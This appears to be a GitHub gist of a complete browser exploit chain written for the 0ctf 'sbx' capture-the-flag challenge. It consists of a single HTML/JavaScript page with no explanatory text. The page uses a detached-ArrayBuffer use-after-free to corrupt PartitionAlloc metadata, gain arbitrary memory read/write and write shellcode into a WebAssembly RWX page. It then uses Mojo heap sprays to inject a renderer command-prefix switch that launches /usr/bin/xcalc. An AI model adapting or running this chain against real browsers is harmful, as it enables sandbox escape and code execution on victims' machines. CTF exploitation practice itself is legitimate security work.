Skip to content

Instantly share code, notes, and snippets.

@hkraw
Created July 14, 2021 11:03
Show Gist options
  • Save hkraw/455545fb6a7b0cd9364df1ec7f8c625c to your computer and use it in GitHub Desktop.
Save hkraw/455545fb6a7b0cd9364df1ec7f8c625c to your computer and use it in GitHub Desktop.
<html>
<head>
<title>0ctf sbx</title>
</head>
<body>
<h1>HK</h1>
<pre id='log'></pre>
</body>
<script src='./mojo_bindings.js'></script>
<script src='./mojo_js/third_party/blink/public/mojom/tstorage/tstorage.mojom.js'></script>
<script src="./mojo_js/third_party/blink/public/mojom/blob/blob_registry.mojom.js"></script>
<script id = 'worker'>
worker: {
if(typeof window === 'object') break worker
self.onmessage = function(event) {}
}
</script>
<script id='helpers'>
let wasm_code = new Uint8Array([
0, 97,115,109, 1, 0, 0, 0, 1,133,128,128,128, 0,
1, 96, 0, 1,127, 3,130,128,128,128, 0, 1, 0, 4,
132,128,128,128, 0, 1,112, 0, 0, 5,131,128,128,128,
0, 1, 0, 1, 6,129,128,128,128, 0, 0, 7,145,128,
128,128, 0,2,6,109,101,109,111,114,121,2,0,4,109,97,
105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,
0,65,42,11
])
var wasmModule = new WebAssembly.Module(wasm_code)
var wasmInstance = new WebAssembly.Instance(wasmModule)
var evilFunc = wasmInstance.exports.main
let conversionBuffer = new ArrayBuffer(0x40)
let floatView = new Float64Array(conversionBuffer)
let intView = new BigUint64Array(conversionBuffer)
let u8View = new Uint8Array(conversionBuffer)
BigInt.prototype.hex = function(){return '0x' + this.toString(16) }
BigInt.prototype.i2f = function(){intView[0] = this;return floatView[0]}
BigInt.prototype.smi2f = function(){intView[0] = this << 32n; return floatView[0] }
BigInt.prototype.shl32 = function(){return this << 32n}
BigInt.prototype.shr32 = function(){return this >> 32n }
String.prototype.to_u64 = function(){
var tmp = this
while(tmp.length%8)
tmp += "\x00"
for(let i = 0; i < 8; i++)
u8View[i] = tmp.charCodeAt(i)
return intView[0]
}
BigInt.prototype.byteSwap = function(){
var result = 0n
var tmp = this
for(let i = 0; i < 8; i++) {
result = result << 8n
result += tmp & 255n
tmp = tmp >> 8n
}
return result
}
Number.prototype.f2i = function(){floatView[0] = this;return intView[0]}
Number.prototype.f2smi = function(){floatView[0] = this;return intView[0] >> 32n}
Number.prototype.f2il = function(){floatView[0] = this;return intView[0] & 0xffffffffn}
Number.prototype.i2f = function(){return BigInt(this).i2f()}
Number.prototype.smi2f = function(){return BigInt(this).smi2f()}
const getSuperPage = addr =>
addr & (~((1n << 21n) - 1n))
const getPartitionPageBaseWithinSuperPage = ( addr, partitionPageIndex ) =>
getSuperPage(addr) + partitionPageIndex << 14n
const getMetadataArea = addr =>
getSuperPage(addr) + 0x1000n
const getPartitionPageMetadataArea = addr =>
getMetadataArea(addr) +
((addr & ((1n << 21n) - 1n)) >> 14n) * 0x20n
const sleep = ms =>
new Promise(resolve=>setTimeout(resolve,ms))
const gc = () => {
let promise = new Promise((cb)=>{
let arg;
for(let i = 0; i < 100; i++)
new ArrayBuffer(1024*1024*60).buffer
cb(arg)
})
return promise
}
function getAllocationConstructor() {
let blob_registry_ptr = new blink.mojom.BlobRegistryPtr();
Mojo.bindInterface(blink.mojom.BlobRegistry.name,
mojo.makeRequest(blob_registry_ptr).handle, "process", true);
function Allocation(size=280) {
function ProgressClient(allocate) {
function ProgressClientImpl() {}
ProgressClientImpl.prototype = {
onProgress: async (arg0) => {
if (this.allocate.writePromise) {
this.allocate.writePromise.resolve(arg0);
}
}
};
this.allocate = allocate;
this.ptr = new mojo.AssociatedInterfacePtrInfo();
var progress_client_req = mojo.makeRequest(this.ptr);
this.binding = new mojo.AssociatedBinding(
blink.mojom.ProgressClient,
new ProgressClientImpl(),
progress_client_req
);
return this;
}
this.pipe = Mojo.createDataPipe({elementNumBytes: size, capacityNumBytes: size});
this.progressClient = new ProgressClient(this);
blob_registry_ptr.registerFromStream("", "", size,
this.pipe.consumer,
this.progressClient.ptr).then((res) => {
this.serialized_blob = res.blob;
})
this.malloc = async function(data) {
promise = new Promise((resolve, reject) => {
this.writePromise = {resolve: resolve, reject: reject};
});
this.pipe.producer.writeData(data);
this.pipe.producer.close();
written = await promise;
console.assert(written == data.byteLength);
}
this.free = async function() {
this.serialized_blob.blob.ptr.reset();
await new Promise(resolve=>setTimeout(resolve, 100));
}
this.read = function(offset, length) {
this.readpipe = Mojo.createDataPipe({elementNumBytes: 1, capacityNumBytes: length});
this.serialized_blob.blob.readRange(offset, length, this.readpipe.producer, null);
return new Promise((resolve) => {
this.watcher = this.readpipe.consumer.watch({readable: true}, (r) => {
result = new ArrayBuffer(length);
this.readpipe.consumer.readData(result);
this.watcher.cancel();
resolve(result);
})});
}
this.readQword = async function(offset) {
let res = await this.read(offset, 8);
return (new DataView(res)).getBigUint64(0, true);
}
return this;
}
async function allocate(data) {
let allocation = new Allocation(data.byteLength);
await allocation.malloc(data);
return allocation;
}
return allocate;
}
async function heapSpray(
allocator, data, size) {
return Promise.all(
Array(size).fill().map(
() => allocator(data)
));
}
</script>
<script>
if(typeof(Mojo)!=='undefined') {
(async function(){
console.log("MOjo Enabeleed")
const cmd_line_ptr = 0x9e07fb0n
const setenv_chrome = 0x9d34038n
const system = 0x55410n
const fakeVtableOffset = 0xaa6ba40n
const L_xchg_rax_rsp = 0x3fa5114n
const L_pop_rdi = 0x2e9ee1dn
const L_ret = L_pop_rdi+1n
const L_pop_rsi = 0x2f49c6en
const L_pop_r14_r15_rbp = 0x3fa5182n
let allocator = getAllocationConstructor()
let tstoragePtrs = new Array()
let tinstancePtrs = new Array()
for(var i = 0; i < 0x1000; i++) {
tstoragePtrs.push(new blink.mojom.TStoragePtr())
Mojo.bindInterface(blink.mojom.TStorage.name,
mojo.makeRequest(tstoragePtrs[i]).handle)
await tstoragePtrs[i].init()
tinstancePtrs.push(
new blink.mojom.TInstanceAssociatedPtr(
(await tstoragePtrs[i].createInstance()).instance))
}
var chrome_leak = undefined
var chrome_base = undefined
for(var i = 0; i < 0x1000; i++) {
if((BigInt(((await tinstancePtrs[i].get(2)).value))&0xfffn) == 0x908n) {
chrome_leak = BigInt(((await tinstancePtrs[0].get(2)).value))
chrome_base = chrome_leak - 0x1ee4908n
if(chrome_base > 0n) {
console.log('[*] Chrome base: 0x' + chrome_base.toString(16))
break
}
}
}
if(chrome_base == undefined) {
location.reload()
}
await sleep(1000)
for(var i = 0; i < 0x1000; i++)
await tstoragePtrs[i].init()
await sleep(100)
let blobArrayBuffer = new ArrayBuffer(0x700)
let blob = new BigUint64Array(blobArrayBuffer)
blob[0x648/8] = chrome_base + cmd_line_ptr
blob[0x650/8] = 1n
blob[0x660/8] = 1n
blob[0x670/8] = 0x4242424242424242n
let spray_blob = await heapSpray(allocator, blob.buffer, 0x1000)
for(var i = 0; i < 0x1000; i++) {
if ( ((((await tinstancePtrs[i].getDouble()
).value).f2i()).toString(16)) == "4242424242424242") {
var g_cmdline_ptr = BigInt((await tinstancePtrs[i].pop()).value)
console.log('[+] g_cmdline_ptr: 0x' + g_cmdline_ptr.toString(16))
break
}
}
if(!g_cmdline_ptr)
location.reload()
for(var i = 0; i < spray_blob.length; i++)
spray_blob[i].free()
await sleep(1000)
blob[0x648/8] = g_cmdline_ptr
blob[0x650/8] = 1n
blob[0x660/8] = 1n
blob[0x670/8] = 0x6767676767676767n
let spray_blob_part2 = await heapSpray(allocator, blob.buffer, 0x1000)
await sleep(2000)
let L_ROP = [
0x4141414141414141n
]
for(var i = 0; i < 0x1000; i++) {
if ( ((((await tinstancePtrs[i].getDouble()
).value).f2i()).toString(16)) == "6767676767676767") {
var g_cmdline_switch = BigInt((await tinstancePtrs[i].pop()).value)
console.log('[+] g_cmdline_switch: 0x' + g_cmdline_switch.toString(16))
break
}
}
for(var i = 0; i < spray_blob_part2.length; i++)
spray_blob_part2[i].free()
await sleep(1000)
blob.fill(0n)
blob[0x648/8] = g_cmdline_switch+0x78n
blob[0x650/8] = 0x50n
blob[0x658/8] = 0n
blob[0x670/8] = 0x4848484848484848n
let spray_blob_part3 = await heapSpray(allocator, blob.buffer, 0x1000)
await sleep(100)
let command = [
g_cmdline_switch+0x80n,
"--render".to_u64(),"er-cmd-p".to_u64(),"refix='/".to_u64(),
"usr/bin/".to_u64(),"xcalc'".to_u64()
]
for(var i = 0; i < 0x1000; i++) {
if ( ((((await tinstancePtrs[i].getDouble()
).value).f2i()).toString(16)) == "4848484848484848") {
console.log("Found")
for(var j = 0; j < command.length; j++) {
await tinstancePtrs[i].push(command[j])
}
break
}
}
let iframe = document.createElement('iframe');
document.body.appendChild(iframe);
iframe.contentWindow.document.open();
iframe.contentWindow.document.write('<h1>');
iframe.contentWindow.document.close();
})()
} else {
(async function() {
const partitionAllocHookEnabled = 0x9e0aa78
const mojo_flag = 0x9f69975
const L_ret = 0x4a6180f
const blinkStorage_thread_root = 0x9df97c0
const wasmInstance_offset = 0x833dc61
async function detachBuffer(ab) {
try{
var worker = new Worker(
window.URL.createObjectURL(new Blob([
document.querySelector("#worker").textContent
],{type: 'text/javascript'}
)))
worker.postMessage({ab: ab}, [ab])
await sleep(100); worker.terminate(); await sleep(100)
} catch(excp) {
console.log(excp)
}
}
var no_gc = new Array()
let victimBuffer = new ArrayBuffer(0x100)
let leakBuffer = new ArrayBuffer(0x100)
let victim = new BigUint64Array(victimBuffer)
let holder = new BigUint64Array(leakBuffer)
await detachBuffer(victimBuffer)
await gc(); await gc(); await gc(); await gc();
holder.set(victim)
var leaked_addr = holder[0].byteSwap()
var superPage = getSuperPage(leaked_addr)
var metadataPage = getMetadataArea(leaked_addr)
var partitonPage = getPartitionPageMetadataArea(leaked_addr)
console.log('[+] Heap Leak: 0x' + leaked_addr.toString(16))
console.log('[+] SuperPage: 0x' + superPage.toString(16))
console.log('[+] Metadata Area: 0x' + metadataPage.toString(16))
console.log('[+] PartitionPage Metadata: 0x' + partitonPage.toString(16))
holder[0] = (metadataPage + 0xe0n).byteSwap()
victim.set(holder,0)
no_gc.push(new ArrayBuffer(0x100)); no_gc.push(new BigUint64Array(0x100/8)) /*1,2*/
var tmp_array_buffer = new ArrayBuffer(0x300)
let chrome_leak = no_gc[1][2]
var chrome_base = chrome_leak - 0x9f37268n
console.log('[+] Chrome base: 0x' + chrome_base.toString(16))
await gc(); await gc(); await gc(); await gc();
no_gc.push(new ArrayBuffer(8))
no_gc.push(new ArrayBuffer(8))
var victimBuffer2 = new BigUint64Array(new ArrayBuffer(8))
var holder2 = new BigUint64Array(new ArrayBuffer(8))
await detachBuffer(victimBuffer2.buffer)
await gc(); await gc(); await gc(); await gc();
holder2[0] = (metadataPage + 0x20n).byteSwap()
victimBuffer2.set(holder2)
no_gc.push(new ArrayBuffer(8)) /*2*/
var rw_helper = new BigUint64Array(new ArrayBuffer(8))
await gc(); await gc(); await gc(); await gc();
no_gc.push(victimBuffer)
no_gc.push(rw_helper)
await gc(); await gc(); await gc(); await gc();
function read64(rw, address) {
rw[0] = address
var array_buffer = new BigUint64Array(new ArrayBuffer(8))
no_gc.push(array_buffer)
array_buffer[0] = rw[0].byteSwap()
rw[0] = 0n
return array_buffer[0]
}
function write64(rw, address, value) {
var backup = rw[0]
rw[0] = address
var array_buffer = new BigUint64Array(new ArrayBuffer(8))
no_gc.push(array_buffer)
array_buffer[0] = BigInt(value)
rw[0] = backup
}
write64(rw_helper, chrome_base+BigInt(mojo_flag),1n)
var v8_heapRoot = read64(rw_helper, chrome_base+BigInt(blinkStorage_thread_root))
console.log('[+] V8 Heap base: 0x'+v8_heapRoot.toString(16))
var rwx_page = read64(rw_helper, (v8_heapRoot + BigInt(wasmInstance_offset-1)) + 0x68n)
console.log('[+] RWX Page: 0x' + rwx_page.toString(16))
await gc(); await gc(); await gc(); await gc();
var shellcode_rwArrayBuffer = new BigUint64Array(new ArrayBuffer(0x1000))
await detachBuffer(shellcode_rwArrayBuffer.buffer)
await gc(); await gc(); await gc(); await gc();
holder[0] = BigInt(rwx_page).byteSwap()
shellcode_rwArrayBuffer.set(holder,0)
no_gc.push(new ArrayBuffer(0x1000))
var shellcodeWriter = new Uint8Array(0x1000) /* RWX PAGE */
const roundUp = (value, multiple) => (value + multiple - 1) & ~(multiple - 1);
const setBytes = shellcode => { for(var i = 0; i < shellcode.length; i++) shellcodeWriter[i] = shellcode[i] }
function I64ToBytes(num) {
let numh = Number(num/0x100000000n);
let numl = Number(num&0xffffffffn);
var result = [];
for (let j = 0; j < 4; ++j)
result.push((numl >>> 8 * j) & 0xff);
for (let j = 0; j < 4; ++j)
result.push((numh>>> 8 * j) & 0xff);
return result;
}
function flatten(array) {
let result = new Array(array.length),
index = 0,
flattenInternal = (array, result) => {
for (let element of array) {
if (Array.isArray(element))
flattenInternal(element, result)
else result[index++] = element;
}
}
flattenInternal(array, result);
result.length = index;
return result;
}
function prepareBytes(shellcode) {
let flatArray = flatten(shellcode),
roundUpLength = roundUp(flatArray, 8),
result = [];
while (flatArray.length < roundUpLength)
flatArray.push(0x90);
return flatArray;
}
await sleep(2000)
let shellcode = new Uint8Array(prepareBytes([
0x55, // push rbp
0x48, 0x89, 0xe5, // mov rbp, rsp
0x48, 0xbf, I64ToBytes(chrome_base), // mov rdi, chrome_base
0x48, 0x31, 0xf6, // xor rsi, rsi
0x48, 0x31, 0xd2, // xor rdx, rdx
0x48, 0x31, 0xc0, // xor rax, rax
0xbe, 0x00, 0xe0, 0xf7, 0x09, // mov esi, 0x9f7e000
0xba, 0x07, 0x00, 0x00, 0x00, // mov edx, 0x7
0xb8, 0x0a, 0x00, 0x00, 0x00, // mov eax, 0xa
0x0f, 0x05, //syscall
0x41, 0x41, 0x41, 0x41,
0x48, 0xbf, I64ToBytes(chrome_base + BigInt(partitionAllocHookEnabled)), //mov rdi, base::PartitionAllocHooks::hooks_enabled_
0xc6, 0x07, 0x01, // mov byte ptr [rdi], 1
0x48, 0xbf, I64ToBytes(chrome_base + 0x4af3248n), // 0x4af3248 <base::PartitionAllocHooks::FreeObserverHookIfEnabled(void*)+40>: ja 0x4af324f <udt>
0x66, 0xc7, 0x07, 0x90, 0x90, // mov word ptr [rdi], 0x9090
0x48, 0xbf, I64ToBytes(chrome_base + 0x4af3270n), // 0x4af3270 <base::PartitionAllocHooks::FreeOverrideHookIfEnabled(void*)+16>: xor eax,eax
0x66, 0xc7, 0x07, 0x90, 0x90, // mov word ptr [rdi], 0x9090
0x48, 0xbf, I64ToBytes(chrome_base + 0x4af326en), // 0x4af326e <base::PartitionAllocHooks::FreeOverrideHookIfEnabled(void*)+14>: jne 0x4af3274 <udt>
0x66, 0xc7, 0x07, 0xb0, 0x01, // mov word ptr [rdi], 0x01b0
0x48, 0xbf, I64ToBytes(chrome_base + BigInt(0x4af3ec0)), // mov rdi, base::PartitionPurgePage<true>(base::internal::PartitionPage<true>*, bool
0xc6, 0x07, 0xc3, // mov byte ptr [rdi], 0xc3
0x48, 0x89, 0xec, // mov rsp, rbp
0x5d, //pop rbp
0xc3 // ret
]));
setBytes(shellcode); evilFunc();
write64(rw_helper, chrome_base + BigInt(partitionAllocHookEnabled+0x10), chrome_base + BigInt(L_ret))
write64(rw_helper, chrome_base + BigInt(partitionAllocHookEnabled+0x20), chrome_base + BigInt(L_ret))
await sleep(1000)
location.reload()
})()
}
</script>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment